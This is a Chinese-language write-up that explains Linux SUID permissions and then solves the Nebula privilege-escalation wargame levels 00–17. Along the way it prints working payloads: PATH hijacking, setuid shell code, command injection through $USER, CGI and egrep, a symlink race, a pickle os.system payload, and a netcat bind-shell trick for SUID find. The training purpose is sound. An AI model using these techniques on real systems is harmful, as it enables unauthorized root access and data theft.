linux suid提权 & 渗透测试练习nebula

linux suid提权

做了nebula的练习之后,发现其基本都是利用suid程序漏洞进行提权,这里特此做个总结

linux特殊权限

在linux权限当中,除了rwx三种基本权限之外,还有三种特殊权限,SUIDSGIDSBIT三种,例如以下:

1
2
3
[nyrae@iZwz97s22su2pupywkv2a5Z /]$ ll -d /tmp; ll -l /usr/bin/passwd;
drwxrwxrwt. 9 root root 4096 8月 30 03:13 /tmp
-rwsr-xr-x. 1 root root 27832 6月 10 2014 /usr/bin/passwd

SUID

SET UID权限,其只出现于二进制文件拥有者执行权限x上,标注为s,其作用是如果执行者有其对应执行权限x,那么在程序运行过程中,程序将获得程序拥有者的权限

举个例子:

1
2
3
4
5
6
7
[nyrae@iZwz97s22su2pupywkv2a5Z ~]$ ll /usr/bin/passwd
-rwsr-xr-x. 1 root root 27832 610 2014 /usr/bin/passwd
[nyrae@iZwz97s22su2pupywkv2a5Z ~]$ ll /etc/shadow
---------- 1 root root 1038 69 17:24 /etc/shadow
我们可以看到 passwd命令有s权限,且owner为root,其他用户有x执行权限,而/etc/shadow默认全0,所以当我们以用户(nyrae)权限去执行passwd设置密码时,其会暂时获取root权限,然后向/etc/shadow中写入hash值

注意的是,s权限只有二进制程序有效,shell脚本或目录是无效的,因为这个权限的存在,如果程序有漏洞可以被利用,我们就可以通过此方式获取更高的权限,例如如果owner 为root的二进制程序有set uid权限,且存在任意命令执行,那么我们就可以通过这个程序进行root提权,具体的在后面讨论

SGID & SBIT

# SGID

SUID,是在owner的x权限上有s标志,那么如果在群组x权限上的s标志,即为SET GID权限,即SGID,可以合理推测,是二进制程序在执行期间获取群组的权限支持。

1
2
3
[root@study ~]# ll /usr/bin/locate /var/lib/mlocate/mlocate.db
-rwx--s--x. 1 root slocate 40496 Jun 10 2014 /usr/bin/locate
-rw-r-----. 1 root slocate 2349055 Jun 15 03:44 /var/lib/mlocate/mlocate.db

例如,上面的例子,locate程序具有SGID权限,其他用户(nyrae)有执行权限,当执行时,可以去读取mlocate.db的内容

SGID用在目录上时,也是一种常见的操作,如果使用者对于此目录有进入权限(r、x),使用者在此目录下的有效群组将变为目录的群组,即,若此用户可以在此目录下创建文件,则所创建的文件群组为目录群组用户。

# SBIT

Sticky Bit只针对目录有效,其作用是在其目录中,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人的文件,最为常见的就是tmp目录

1
2
[nyrae@iZwz97s22su2pupywkv2a5Z ~]$ ll -d /tmp
drwxrwxrwt. 9 root root 4096 8月 30 03:13 /tmp

很容易理解,在/tmp中,每个用户只能操作自身创建的文件或目录

利用SUID提权

因为SUID的独特性,我们之前也说了,如果SUID的程序owner为root且程序存在漏洞,我们就可以通过这个方式进行提权利用。

首先,查找可以owner为root且suid的二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[nyrae@iZwz97s22su2pupywkv2a5Z ~]$ find / -user root -perm -4000 2>/dev/null
/usr/lib64/dbus-1/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/at
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/su
/usr/bin/chage
/usr/bin/mount
/usr/bin/umount
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/unix_chkpwd

这是在我的阿里云主机上得到的结果,一些其他的系统或版本提供的suid程序不尽相同,可能要具体去看,对于网上的一些可用来提权的linux可执行文件,除了和版本有关,其主要依赖于管理员配置错误,将一些常见的程序加上了suid权限:

1
2
3
4
5
6
7
8
Nmap (低版本2.02-5.21可直接使用 --interactive进入交互模式 使用!sh进行提权)
find (如果find以suid运行,可以使用 find test -exec whami \;方式运行,或 find test -exec netcat -v -l 22222 -e /bin/bash \;反弹shell)
vim (:shell)
bash (bash -p)
less
more
cp
nano

同时利用一些其他的suid程序,通过分析其漏洞,利用提权。具体的利用,根据环境不同而异。

渗透测试练习 —— nebula

官方地址 在这里,也可以使用ichunqiu的靶机 总共分了20关,以levelXX的形式进行。

注: ichunqiu 上的问题描述有些问题 可以去官网看

这里所有的程序,基本都是利用suid程序漏洞进行提权,也算是作为linux suid提权的一个练习。

level00

寻找将以flag00运行的suid程序

推测为find查找特权文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
find
[跟时间有关]
find / -mtime 4
find / -mtime +4
[跟使用者和群组有关]
-uid n :n 为数字,这个数字是使用者的帐号 ID,亦即 UID ,这个 UID 是记录在
/etc/passwd 里面与帐号名称对应的数字。这方面我们会在第四篇介绍。
-gid n :n 为数字,这个数字是群组名称的 ID,亦即 GID,这个 GID 记录在
/etc/group,相关的介绍我们会第四篇说明~
-user name :name 为使用者帐号名称喔!例如 dmtsai
-group name:name 为群组名称喔,例如 users ;
-nouser :寻找文件的拥有者不存在 /etc/passwd 的人!
-nogroup :寻找文件的拥有群组不存在于 /etc/group 的文件!
当你自行安装软件时,很可能该软件的属性当中并没有文件拥有者,
这是可能的!在这个时候,就可以使用 -nouser 与 -nogroup 搜寻。
[跟文件权限有关]
-name filename:搜寻文件名称为 filename 的文件;
-size [+-]SIZE:搜寻比 SIZE 还要大(+)或小(-)的文件。这个 SIZE 的规格有:
c: 代表 Byte, k: 代表 1024Bytes。所以,要找比 50KB
还要大的文件,就是“ -size +50k ”
-type TYPE :搜寻文件的类型为 TYPE 的,类型主要有:一般正规文件 (f), 设备文件 (b, c),
目录 (d), 链接文件 (l), socket (s), 及 FIFO (p) 等属性。
-perm mode :搜寻文件权限“刚好等于” mode 的文件,这个 mode 为类似 chmod
的属性值,举例来说, -rwsr-xr-x 的属性为 4755 !
-perm -mode :搜寻文件权限“必须要全部囊括 mode 的权限”的文件,举例来说,
我们要搜寻 -rwxr--r-- ,亦即 0744 的文件,使用 -perm -0744,
当一个文件的权限为 -rwsr-xr-x ,亦即 4755 时,也会被列出来,
因为 -rwsr-xr-x 的属性已经囊括了 -rwxr--r-- 的属性了。
-perm /mode :搜寻文件权限“包含任一 mode 的权限”的文件,举例来说,我们搜寻
-rwxr-xr-x ,亦即 -perm /755 时,但一个文件属性为 -rw-------
也会被列出来,因为他有 -rw.... 的属性存在!
[其他额外动作]
-exec command :command 为其他指令,-exec 后面可再接额外的指令来处理搜寻到的结果
find cmd

所以我们可以通过:

1
2
3
find / -user flag00 -perm /4000 2>/dev/null
其中2为标准错误输出,1为标准输出,0为标准输入 /dev/null为黑洞文件 只有输入

1
fiind / -user flag00 -perm /4000 -exec ls -l {} \; 2>/dev/null

得到/bin/.../flag00文件,运行,然后提示运行getflag程序,运行之后,提示已经在target 账户已生成flag,在~里面找了好久没找到,最后才发现~的绝对路径是/home/level0

level01

以level01登录账户,在/home/flag01里面找

在相应路径中发现一个二进制文件,我们使用ll /bin/getflag发现,使用权限必须是root,而flag01的权限时suid,即执行时可获得其程序拥有者的权限,其中flag01源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}

我们发现其使用了/usr/bin/env 使用env来运行好处的原因是它会根据你的环境寻找并运行默认的版本,提供灵活性,所以这里的思路是,想办法去修改$PATH使用找到的echo是我们的getflag文件,这样在运行时,其有root权限,则可以getflag成功。于是,我们首先创建一个echo链接到getflag:

1
ln -s /bin/getflag /tmp/echo

然后去修改$PATH内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$PATH 环境变量修改
[临时修改 export]
export PATH = /usr/bin/sm:$PATH
立即生效, 临时改变,只能在当前的终端窗口中有效,当前窗口关闭后就会恢复原有的path配置
[永久生效 修改用户]
修改 ~/.bashrc 最后加上
export PATH=/usr/bin/sm:$PATH
使用source 生效
永久有效,仅对当前用户
[永久生效 所有用户]
修改/etc/profile
export PATH=/usr/bin/sm:$PATH
重启生效 ,永久有效,所有用户
[永久生效 所有用户]
修改 /etc/environment
export PATH=/usr/bin/sm:$PATH
重启生效 ,永久有效,所有用户

于是我们修改path内容export PATH=/tmp:$PATH然后运行./flag01发现生成了flag内容,发现其权限为:

1
-r--r----- 1 flag01 flag01 15 2016-08-17 01:21 flag

只有flag01用户才可以读取,所以我们利用之前的思路,在tmp下生成一个test.c,然后运行gcc -o echo test.c,内容为下:

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",(char *)0);
return 0;
}

其返回一个shell,使用whoami可以看到当前用户为flag01,则可以查看flag内容。

level02

同样,以下代码存在任意代码执行,找到并获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}

直接运行看下程序逻辑:

1
2
3
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

可以看到其根据$USER内容进行输出,然后将/bin/echo $USER is cool内容执行,很容易想到使用;进行截断,然后执行任意代码,即修改$USER内容为export USER=;getflag 同level01,依旧无法读flag内容,根据同样的思路,尝试你返回shell。

1
2
3
4
5
6
7
8
level02@nebula:/home/flag02$ export USER=";/bin/sh;echo"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;/bin/sh;echo is cool")
sh-4.2$ whoami
flag02
sh-4.2$ cat /home/flag02/flag
flag{YACMD5MYX}sh-4.2$

于是得到flag内容

level03

flag03中有定时任务 在/home/flag03中

题目说有个定时任务,crontab -l没有发现,难道是其他用户执行的?去看一下所有的crontab任务,uname -a可以看到是ubuntu,所以用户定时任务应该在/var/spool/cron/crontabs中,发现没权限,切换至root(官网在介绍时说可以使用nebula-nebula切换到root)。。ichunqiu这个靶机切不成,思路终结,我们来看下脚本内容。

可以看到有个writable.sh文件内容如下:

1
2
3
4
5
6
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done

按题目说的,推测应该是定时几分钟,然后执行这个脚本,脚本内容依次执行writable.d文件夹里的内容,限制时间5s,执行完后删除,而writable.d中的内容是可以被任何人写入的,所以我们的思路应该是构造sh脚本,然后将flag内容输出到/tmp这样都能读到。

1
2
#!/bin/sh
/bin/cat /home/flag03/flag > /tmp/flag03

过一阵,即可查看/tmp/flag03中flag内容

level04

需要bypass 读到token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}

很明显,需要绕过的点是strstr里面,一开始思考以为是像0字节截断之类的,但好像不行,最后想到链接,由于后面是直接将argv[1]作为文件名打开的,所以可以使用链接

1
2
3
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/flag04
level04@nebula:/home/flag04$ ./flag04 /tmp/flag04
06508b5e-8909-4f38-b630-fdb148a848a2

即可读到token,然后使用token作为flag04的密码登陆,拿到flag

level05

寻找脆弱的目录权限

文件下有两个目录.ssh.backup, 推测这道题应该是拿到私钥登陆,而.ssh文件没有权限进入,转而查看备份文件,解压文件,发现当前路径下没有写权限,于是写到/tmp目录下。

1
2
3
4
5
level05@nebula:/home/flag05/.backup$ tar zxvf backup-19072011.tgz -C /tmp
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

然后我们使用私钥登陆,即可查看flag内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
level05@nebula:/tmp/.ssh$ ssh -i id_rsa flag05@172.16.12.2
The authenticity of host '172.16.12.2 (172.16.12.2)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.12.2' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.

level06

flag06的凭证来自传统的unix系统

看题目描述,猜测可能凭证可猜解或可破解。/home/flag06没有东西,于是查看/etc/passwd,按理说,由于/etc/passwd可以被所有人看到,不应该在其中有口令信息,而使用x来占位表示在/etc/shadow当中存储真正口令(shadow只有root才能看到),但由于来源于古老的unix系统,flag06的口令存在于/etc/passwd

1
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

使用john进行破解,得到密码hello

level07

允许ping任意host

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));

看了代码很容易想到传入的host可以造成任意命令执行。最主要对perl不是很熟,在thttpd.conf文件中可以看到端口为7007所以访问的方式为http://172.16.12.2:7007/index.cgi?Host=xxx

尝试访问http://172.16.12.2:7007/index.cgi?Host=127.0.0.1可以看到反悔了结果,于是尝试构造:

1
http://172.16.12.2:7007/index.cgi?Host=127.0.0.1%3Bcat+/home/flag07/flag+

注意这里要使用+来代替空格,得到flag值

level08

同样读文件的限制,想办法绕过

查看/home/flag08路径,发现有两个可能存在问题的内容,.cache/capture.pcap.cache文件无法访问,但看到了pcap包,猜测是分析数据包流量得到密钥。

wireshark

可以根据hex内容推测得出密码:backd00Rmate 从而登陆flag08得到flag值

level09

php代码存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>

分析一下代码,其匹配[email [email protected]]转变为cc AT xx DOT com,其中使用了/e模式,此模式会将替换串作为代码执行,那么很明显这里存在任意代码执行。

其漏洞是:

1
2
3
4
5
6
7
8
在php中,字符串""中使用$xx或者${xx} 如果xx为变量,则返回变量值,如果为函数,则返回函数计算结果,例如以下内容,会返回phpinfo信息:
xiaokunhuang@XiaokundeMacBook-Pro  ~/Desktop  php test.php | head -n 5
phpinfo()
PHP Version => 7.1.14
System => Darwin XiaokundeMacBook-Pro.local 17.5.0 Darwin Kernel Version 17.5.0: Mon Mar 5 22:24:32 PST 2018; root:xnu-4570.51.1~1/RELEASE_X86_64 x86_64
Build Date => Feb 7 2018 18:24:13

level10

任意文件上传代码,其中满足acess系统调用

这道题程序大致意思是,首先判断传入的文件是否有读权限,如果有将其内容发送到host的18211端口,这里使用access来判断是否有读权限。其中这个access在手册中有这么一段话:

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

即不推荐使用access判断权限再使用open打开,由于时间差从而容易被攻击,所以思路就是在第一次文件权限判断的时候,指向一个/tmp/token文件,这是我们level10创建的且具有读权限的文件,然后再open的时候,将它指向我们的/home/flag10/token文件,由于二进制程序有s标志,从而可以读取内容,发送给我们监听的18211端口,得到token值。

由于我们没有办法做到手动在程序执行期间更改其指向,所以我们用while循环来让其不停的变化,直到得到结果。

所以我们首先在本地监听18211端口,并将内容持续输出到文件中。(这里我们从官网下了虚拟机本地运行的,ichunqiu哪个没法监听)

1
while true; do nc -vv -l 18211 >> out; done

之后我们

1
while true; do ln -fs /tmp/token /tmp/test; ln -fs /home/flag10/token /tmp/test;done &

之后运行

1
while true; do /home/flag10/flag10 /tmp/test 10.211.55.2; done

最后查out即可得到615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 之后即可登录查看

再补充一点,access是使用进程运行的用户的权限去判断的,而open运行时,使用的是s之后的权限去运行的。

level11

同样任意命令执行

找到system函数,发现其执行了buffer中的内容,推测构造buffer数据进行绕过,且buff内容对在执行前做过了处理,所以推测方法为倒序执行解密即可。

level12

存在一个50001端口的后门

我们看下程序,发现其判断password的hash值的1-40为是不是和给定的相同,可以通过构造hash值,不过会死人。我们看到其执行命令时,拼接了passwd,则很明显存在任意命令执行漏洞。

1
;/bin/getflag > /tmp/123

level13

其会检查运行程序时的uid是否为1000

这道题考察反汇编知识,即在运行时我去们修改$eax寄存器中的值,这个值即为1014即level13的uid值,我们通过修改其值为1000进行绕过,流程如下:

首先是反编译flag13文件

1
gdb flag13

之后反编译main函数

1
disassemble main

看到:

1
2
0x080484ef <+43>: call 0x80483c0 <getuid@plt>
0x080484f4 <+48>: cmp $0x3e8,%eax

应该是判断$eax寄存器中的内容和0x3e8是否相等,即是否为1000,我们在这里设置断点:

1
break *0x080484f4

之后我们运行run程序,会发现其停到断点处,修改之后在continue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) break *0x080484f4
Breakpoint 1 at 0x80484f4
(gdb) run
Starting program: /home/flag13/flag13
Breakpoint 1, 0x080484f4 in main ()
(gdb) print $eax
$1 = 1014
(gdb) set $eax=1000
(gdb) print $eax
$2 = 1000
(gdb) continue
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 16725) exited with code 063]

可以看到得到了token值

level14

破解加密程序

随便输入:

1
2
3
4
5
6
level14@nebula:/home/flag14$ ./flag14 -e
1234567890
13579;=?A9
level14@nebula:/home/flag14$ ./flag14 -e
abcdefsd
acegikyk

推测为char(i)+index(i)的值,写个程序解密token即可

level15

动态链接库劫持,不太明白,之后在深入研究

level16

perl 1616端口 web认证

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));

我们可以看到,整个流程大概是首先去获取usernamepassword的值,然后对username进行大写之后在去除空格之后的所有内容,之后调用调用系统调用去处理,可以看到,很明显是一个任意代码执行的漏洞,不过要绕过username的处理。

egrep用于在文件内进行内容查找,而由于username中会被变成大写,于是需要利用一个技巧,shell中转为小写:

1
2
3
level16@nebula:~$ test=ASNDSA
level16@nebula:~$ echo ${test,,}
asndsa

使用${x,,}的方式可以使命令转为小写。
于是我们构造username为:

1
"</DEV/NULL;CMD=/TMP/LEVEL16;${CMD,,};#

其中"用于闭合,#用于注释后面的语句,其中我们需要新建一个/tmp/level16文件,内容如下,且设置为可执行:

1
2
3
#!/bin/bash
/bin/getflag > /tmp/getflag16

之后访问提交即可

level17

攻击python脚本

看到pickle,很明显,应该是反序列化问题,与传统的对象反序列化不同,python反序列化可能执行shellcode,除了可以序列化对象,也可以通过操作码,反序列化出代码:

想要使用模块,则用操作码c,比如这关要使用到os模块,则:cos;如果要使用python内置函数,则是:cbuiltin。 想要使用一个字符串,则S’字符串’ 想要把参数带入“栈”中调用函数,则(S’参数’,官方叫它MARK对象 t操作码则是从栈顶开始弹出所有值,包括MARK对象。 R则pop栈顶两项内容最后,”.”代表pickle结束标志。

所以可以新建一个/tmp/sc,内容如下:

1
2
3
4
cos
system
(S'getflag>/tmp/level17'
tR.

然后传入nc连接即可